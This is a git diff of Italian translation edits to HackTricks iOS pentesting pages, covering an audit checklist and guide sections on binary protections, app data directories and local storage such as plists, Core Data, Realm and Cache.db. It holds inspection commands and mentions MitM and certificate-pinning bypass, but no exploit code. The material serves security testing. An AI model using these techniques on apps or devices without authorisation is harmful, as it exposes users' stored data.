* [ ] Controlla se l'applicazione **non sta controllando e sanificando** l'input degli utenti tramite lo schema personalizzato e qualche **vulnerabilità può essere sfruttata**
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato
|
||||
* [ ] Controlla se l'applicazione **si aspetta di ricevere qualche tipo di informazione sensibile** dal protocollo personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema
|
||||
* [ ] Controlla se l'applicazione **non sta controllando e sanificando** l'input degli utenti tramite il protocollo personalizzato e qualche **vulnerabilità può essere sfruttata**
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite il protocollo personalizzato
|
||||
* [**Link Universali**](ios-pentesting/#universal-links)
|
||||
* [ ] Controlla se l'applicazione **registra qualche protocollo/schema universale**
|
||||
* [ ] Controlla il file `apple-app-site-association`
|
||||
* [ ] Controlla se l'applicazione **non sta controllando e sanificando** l'input degli utenti tramite lo schema personalizzato e qualche **vulnerabilità può essere sfruttata**
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato
|
||||
* [ ] Controlla se l'applicazione **non sta controllando e sanificando** l'input degli utenti tramite il protocollo personalizzato e qualche **vulnerabilità può essere sfruttata**
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite il protocollo personalizzato
|
||||
* [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con un'attività appositamente creata
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali**
|
||||
* [ ] Controlla se l'applicazione **utilizza i dati dagli appunti generali per qualcosa**
|
||||
* [ ] Monitora gli appunti per vedere se vengono copiati dati sensibili
|
||||
* [ ] Monitora gli appunti per vedere se vengono copiati **dati sensibili**
|
||||
* [**Estensioni delle App**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] L'applicazione **utilizza qualche estensione**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Controlla che tipo di webview viene utilizzato
|
||||
* [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Controlla se la webview può **accedere a file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Controlla se la webview può **accedere ai file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Controlla se Javascript può accedere a **metodi nativi** (`JSContext`, `postMessage`)
|
||||
### Comunicazione di Rete
|
||||
|
||||
* [ ] Esegui un [**MitM sulla comunicazione**](ios-pentesting/#network-communication) e cerca vulnerabilità web.
|
||||
* [ ] Verifica se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato.
|
||||
* [ ] Verifica se il [**nome host del certificato**](ios-pentesting/#hostname-check) viene controllato
|
||||
* [ ] Controlla/Superare il [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **Varie**
|
||||
|
@ -119,7 +119,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -133,11 +133,11 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -40,7 +40,7 @@ In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori**
|
|||
|
||||
### Operazioni di base di test di iOS
|
||||
|
||||
Durante il test **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, **inizia leggendo la pagina**:
|
||||
Durante il test **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una qualsiasi di queste azioni, **inizia leggendo la pagina**:
|
||||
|
||||
{% content-ref url="basic-ios-testing-operations.md" %}
|
||||
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
|
||||
|
@ -48,7 +48,7 @@ Durante il test **saranno suggerite diverse operazioni** (connettersi al disposi
|
|||
|
||||
{% hint style="info" %}
|
||||
Per i passaggi seguenti **l'applicazione dovrebbe essere installata** sul dispositivo e dovresti aver già ottenuto il **file IPA** dell'applicazione.\
|
||||
Leggi la pagina [Operazioni di base di test di iOS](basic-ios-testing-operations.md) per imparare come fare.
|
||||
Leggi la pagina [Operazioni di base di test di iOS](basic-ios-testing-operations.md) per imparare come farlo.
|
||||
{% endhint %}
|
||||
|
||||
### Analisi statica di base
|
||||
|
@ -57,22 +57,22 @@ Si consiglia di utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mob
|
|||
|
||||
Identificazione delle **protezioni presenti nel binario**:
|
||||
|
||||
* **PIE (Esecuzione Posizionale Indipendente)**: Quando abilitato, l'applicazione si carica in un indirizzo di memoria casuale ogni volta che viene avviata, rendendo più difficile prevedere il suo indirizzo di memoria iniziale.
|
||||
* **PIE (Position Independent Executable)**: Quando abilitato, l'applicazione si carica in un indirizzo di memoria casuale ogni volta che viene avviata, rendendo più difficile prevedere il suo indirizzo di memoria iniziale.
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # Dovrebbe includere il flag PIE
|
||||
```
|
||||
* **Canary dello Stack**: Per convalidare l'integrità dello stack, viene inserito un valore 'canary' nello stack prima di chiamare una funzione e viene convalidato nuovamente una volta che la funzione termina.
|
||||
* **Stack Canaries**: Per convalidare l'integrità dello stack, viene inserito un valore 'canary' nello stack prima di chiamare una funzione e viene convalidato nuovamente una volta che la funzione termina.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Dovrebbe includere i simboli: stack_chk_guard e stack_chk_fail
|
||||
```
|
||||
* **ARC (Conteggio Automatico dei Riferimenti)**: Per prevenire comuni difetti di corruzione della memoria
|
||||
* **ARC (Automatic Reference Counting)**: Per prevenire comuni difetti di corruzione della memoria
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release
|
||||
```
|
||||
* **Binario Crittografato**: Il binario dovrebbe essere crittografato
|
||||
* **Binario crittografato**: Il binario dovrebbe essere crittografato
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
|
||||
|
@ -87,7 +87,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e
|
|||
otool -Iv <app> | grep -w "_CC_MD5"
|
||||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||||
|
||||
# Su linux
|
||||
# Su Linux
|
||||
grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
|
@ -99,7 +99,7 @@ otool -Iv <app> | grep -w "_random"
|
|||
otool -Iv <app> | grep -w "_srand"
|
||||
otool -Iv <app> | grep -w "_rand"
|
||||
|
||||
# Su linux
|
||||
# Su Linux
|
||||
grep -iER "_random"
|
||||
grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
|
@ -110,7 +110,7 @@ grep -iER "_rand"
|
|||
# Sul dispositivo iOS
|
||||
otool -Iv <app> | grep -w "_malloc"
|
||||
|
||||
# Su linux
|
||||
# Su Linux
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
* **Funzioni Non Sicure e Vulnerabili**
|
||||
|
@ -129,7 +129,7 @@ otool -Iv <app> | grep -w "_sprintf"
|
|||
otool -Iv <app> | grep -w "_printf"
|
||||
otool -Iv <app> | grep -w "_vsprintf"
|
||||
|
||||
# Su linux
|
||||
# Su Linux
|
||||
grep -R "_gets"
|
||||
grep -iER "_memcpy"
|
||||
grep -iER "_strncpy"
|
||||
|
@ -145,11 +145,11 @@ grep -iER "_vsprintf"
|
|||
|
||||
### Analisi dinamica di base
|
||||
|
||||
Controlla l'analisi dinamica che esegue [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi e farà altre cose e preparerà un report una volta completato.
|
||||
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi facendo altre cose e preparerà un report una volta completato.
|
||||
|
||||
### Elencazione delle App Installate
|
||||
|
||||
Utilizza il comando `frida-ps -Uai` per determinare l'**identificatore del bundle** delle app installate:
|
||||
Utilizza il comando `frida-ps -Uai` per determinare il **bundle identifier** delle app installate:
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
|
@ -179,7 +179,7 @@ La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compr
|
|||
* **`Assets.car`**: Un archivio compresso che memorizza file di risorse come icone.
|
||||
* **`Frameworks/`**: Questa cartella contiene le librerie native dell'applicazione, che possono essere file `.dylib` o `.framework`.
|
||||
* **`PlugIns/`**: Questo può includere estensioni dell'applicazione, conosciute come file `.appex`, anche se non sono sempre presenti.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'applicazione su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit.
|
||||
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per un uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'applicazione su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit.
|
||||
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
|
||||
* **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
|
||||
* **Sicurezza**: La directory `_CodeSignature/` svolge un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
|
||||
|
@ -189,7 +189,7 @@ La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compr
|
|||
|
||||
**Info.plist**
|
||||
|
||||
L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di coppie **chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni dell'app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dalle autorizzazioni dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di coppie **chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni dell'app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
|
||||
|
||||
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere ottenuta facilmente tramite l'uso di `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
|
||||
|
||||
|
@ -202,13 +202,13 @@ $ plutil -convert xml1 Info.plist
|
|||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Tra le miriadi di informazioni che il file **Info.plist** può rivelare, vanno menzionate le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la sicurezza del trasporto dell'app (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
Tra le miriadi di informazioni che il file **Info.plist** può rivelare, vanno menzionate le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Percorsi dei Dati**
|
||||
|
||||
Nell'ambiente iOS, le directory sono designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/private/var/containers/`. Queste applicazioni sono assegnate un identificatore univoco noto come un **UUID a 128 bit**, rendendo difficile la ricerca manuale della cartella di un'app a causa della casualità dei nomi delle directory.
|
||||
Nell'ambiente iOS, le directory sono designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/private/var/containers/`. Queste applicazioni sono assegnate un identificatore univoco noto come un **UUID a 128 bit**, rendendo difficile il compito di individuare manualmente la cartella di un'app a causa della casualità dei nomi delle directory.
|
||||
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory dell'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
```bash
|
||||
|
@ -247,12 +247,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
|
||||
* **Library/**
|
||||
* Contiene tutti i **file che non sono specifici dell'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista delle proprietà (plist).
|
||||
* Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate.
|
||||
* Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'applicazione può creare sottodirectory personalizzate.
|
||||
* **Library/Caches/**
|
||||
* Contiene **file memorizzati in cache semi-persistenti**.
|
||||
* Invisibile agli utenti e **gli utenti non possono scriverci**.
|
||||
* I contenuti in questa directory **non vengono salvati**.
|
||||
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è quasi esaurito.
|
||||
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
* **Library/Application Support/**
|
||||
* Contiene **file persistenti necessari per l'esecuzione dell'applicazione**.
|
||||
* **Invisibile agli utenti** e gli utenti non possono scriverci.
|
||||
|
@ -267,7 +267,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
|||
* Contiene file memorizzati in cache non persistenti.
|
||||
* **Invisibile** agli utenti.
|
||||
* I contenuti in questa directory non vengono salvati.
|
||||
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è quasi esaurito.
|
||||
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
|
||||
Diamo un'occhiata più da vicino alla directory dell'Applicazione iGoat-Swift (.app) all'interno della directory Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
|
@ -321,7 +321,7 @@ DVIA-v2:
|
|||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
Per stampare il segmento **Objective-C** dell'applicazione di esempio, si può utilizzare:
|
||||
Per stampare il segmento **Objective-C** dell'applicazione di esempio, è possibile utilizzare:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
|
@ -363,10 +363,10 @@ double _field2;
|
|||
```
|
||||
Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -386,11 +386,11 @@ L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione
|
|||
|
||||
### Plist
|
||||
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliabile controllare questi file dopo l'installazione dell'app e dopo averlo utilizzato intensivamente per vedere se vengono scritti nuovi dati.
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per archiviare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliabile controllare questi file dopo l'installazione dell'app e dopo averlo utilizzato intensivamente per vedere se vengono scritti nuovi dati.
|
||||
|
||||
Il modo più comune per persistere i dati nei file plist è tramite l'uso di **NSUserDefaults**. Questo file plist viene salvato all'interno del sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe memorizza **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
|
||||
La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe archivia **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
|
||||
|
||||
Questi dati non possono essere più accessibili direttamente tramite un computer attendibile, ma possono essere accessibili eseguendo un **backup**.
|
||||
|
||||
|
@ -417,11 +417,11 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
|||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database. CoreData non crittografa i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli.
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database. CoreData non crittografa i suoi dati di default. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli.
|
||||
|
||||
È possibile trovare le informazioni di SQLite Core Data di un'applicazione nel percorso `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**Se riesci ad aprire il SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.**
|
||||
**Se riesci ad aprire il SQLite e accedere a informazioni sensibili, allora hai trovato una cattiva configurazione.**
|
||||
|
||||
{% code title="Codice da iGoat" %}
|
||||
```objectivec
|
||||
|
@ -462,7 +462,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
|||
```
|
||||
### Database in tempo reale di Firebase
|
||||
|
||||
Ai developer è consentito **memorizzare e sincronizzare dati** all'interno di un **database ospitato su cloud NoSQL** tramite i Database in tempo reale di Firebase. Memorizzati in formato JSON, i dati vengono sincronizzati in tempo reale su tutti i client connessi.
|
||||
Ai developer è consentito **memorizzare e sincronizzare dati** all'interno di un **database ospitato su cloud NoSQL** tramite il Database in tempo reale di Firebase. Memorizzati in formato JSON, i dati vengono sincronizzati in tempo reale su tutti i client connessi.
|
||||
|
||||
Puoi scoprire come verificare la presenza di database Firebase mal configurati qui:
|
||||
|
||||
|
@ -472,7 +472,7 @@ Puoi scoprire come verificare la presenza di database Firebase mal configurati q
|
|||
|
||||
### Database di Realm
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per lo storage dei dati, non fornita da Apple. Per impostazione predefinita, essi **memorizzano dati non criptati**, con la crittografia disponibile tramite configurazioni specifiche.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per la memorizzazione dei dati, non fornita da Apple. Per impostazione predefinita, **memorizzano dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche.
|
||||
|
||||
I database si trovano in: `/private/var/mobile/Containers/Data/Application/{APPID}`. Per esplorare questi file, è possibile utilizzare comandi come:
|
||||
```bash
|
||||
|
@ -481,7 +481,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
|
|||
|
||||
$ find ./ -name "*.realm*"
|
||||
```
|
||||
Per visualizzare questi file di database, si consiglia di utilizzare lo strumento [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
Per visualizzare questi file di database, è consigliato utilizzare lo strumento [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
|
||||
Per implementare la crittografia all'interno di un database Realm, è possibile utilizzare il seguente frammento di codice:
|
||||
```swift
|
||||
|
@ -499,7 +499,7 @@ fatalError("Error opening realm: \(error)")
|
|||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) è descritto come un motore di database **leggero** e **integrato** che segue l'approccio **orientato ai documenti** (NoSQL). Progettato per essere nativo di **iOS** e **macOS**, offre la capacità di sincronizzare i dati in modo trasparente.
|
||||
|
||||
Per identificare potenziali database di Couchbase su un dispositivo, dovrebbe essere ispezionata la seguente directory:
|
||||
Per identificare potenziali database di Couchbase su un dispositivo, è necessario ispezionare la seguente directory:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
|
@ -528,25 +528,25 @@ Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](ht
|
|||
|
||||
Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate aprire la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e andare a `/Library/Caches/<Bundle Identifier>`. Anche la **cache di WebKit viene memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché si tratta di un **database SQLite normale**.
|
||||
|
||||
